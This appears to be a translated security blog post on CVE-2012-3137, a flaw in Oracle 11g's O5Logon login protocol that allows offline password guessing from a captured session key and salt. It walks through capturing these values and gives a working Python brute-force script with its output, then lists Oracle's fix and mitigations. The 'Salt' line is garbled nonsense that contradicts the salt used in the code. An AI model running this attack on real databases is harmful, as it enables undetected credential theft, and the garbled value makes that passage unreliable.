Vulnerability in Oracle 11g Authentication Protocol

Not so long ago it became known about a new vulnerability (which received the number CVE-2012-3137 ) in the O5Logon authentication protocol used in the Oracle database versions 11.1 and 11.2. The vulnerability allows a remote user to obtain an access password by launching a brutforce attack on the encrypted session identifier received from the server. This feature makes it possible to locate the user password locally without sending additional network requests to the database server.

O5Logon Operational Overview

Interaction with the server occurs as follows:
  1. The client connects to the server and sends the username
  2. The server generates a session identifier and encrypts it using AES-192. The key is the SHA1 hash of the user password and the salt added to it
  3. The server sends the encrypted session identifier and salt to the client
  4. The client generates a key by receiving a hash from his password and the salt received. Using this key, the client decrypts the session data received from the server.
  5. Based on the decrypted server session identifier, the client generates a new shared key, which will be used later


The main interest are stages 1-3, which can be represented as follows:

The server from the very beginning of the connection transmits all the information necessary for password selection. The key feature of Session Id allows an attack: the last 8 bytes of the public session identifier always consist of eights. This information is sufficient to determine the correct decryption.

Another feature of this problem is that breaking the connection after the 3rd stage, the fact of the connection attempt will not be displayed in the logs, i.e. the attack can be made completely unnoticed.

Practical aspect

To test the vulnerability, a freely distributed dump of the virtual machine was used, used by Oracle for training developers and containing a pre-installed database version 11.2.0.2.

After installation, you can try to connect to the database via the standard port, using, for example, Python and the cx_Oracle library. As a test, the selection was carried out for the built-in user system. It is enough to know only the username to get all the necessary data for a further attack:

>>> import cx_Oracle
>>> con = cx_Oracle.connect('system/wrongpassword@192.168.56.104/orcl')
Traceback (most recent call last):
File "", line 1, in 
cx_Oracle.DatabaseError: ORA-01017: invalid username/password; logon denied


To get the encrypted session ID and salt in this case, the easiest way was to use Wireshark:


The following values ​​will be useful here:

Session Identifier (AUTH_SESSKEY) : EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767

Salt (AUTH_VF667D3E7F3D3A377773A77377663D37777377773777737777377773776633777733667366336633663377739777337773977733777 then7397393-a

Proof of concept

To decrypt the session and the brute force of the password, the following code was written on the knee:
#-*-coding:utf8 -*-
import hashlib
from Crypto.Cipher import AES
def decrypt(session,salt,password):
	pass_hash = hashlib.sha1(password+salt)
	#дополняем длину ключв шифрования до 24 байт
	key = pass_hash.digest() + '\x00\x00\x00\x00'
	decryptor = AES.new(key,AES.MODE_CBC)
	plain = decryptor.decrypt(session)
	return plain
#зашифрованный идентикатор сессии 48 байт
session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767'
#соль 10 байт
salt_hex = 'A7193E546377EC56639E'
passwords = ['test','password','oracle','demo']
for password in passwords:
	session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password)
	print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex'))
	if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
		print 'PASSWORD IS "%s"' % password
		break


When starting the program we get:
Decrypted session_id for password "test" is 26998331454aeb10fbf10ae8a3deac8e9e0531378089a3acaa9294f3256227bc00feae272db6c1eafb105d6baa953274
Decrypted session_id for password "password" is 8a62f6dcca35f6886ea5b0cbd24791cfd0a3390eb29c64a4d58bfe1c19e27df0de315772ea84e28ddd9a126dfdec134d
Decrypted session_id for password "oracle" is 58b6e23a31ee7136d4893a01d48cd17e841fc3e90545711668a69d9c28b5c5d8819a4f7a961334320808080808080808
PASSWORD IS "oracle"
[Finished in 0.1s]

Password has been successfully selected.

Conclusion

Oracle solved this problem in version 11.2.0.3 by allowing users to use a new authentication mechanism, which must be explicitly written in the sqlnet.ora files for the client and server parts:

SQLNET.ALLOWED_LOGON_VERSION=12

But you can think of this solution as acceptable for most working systems, because in addition to the server side, it is necessary to reconfigure the clients. As usual in such cases, the use of strong passwords and a clear restriction at the level of network access can be considered reasonable recommendations.

Also popular now: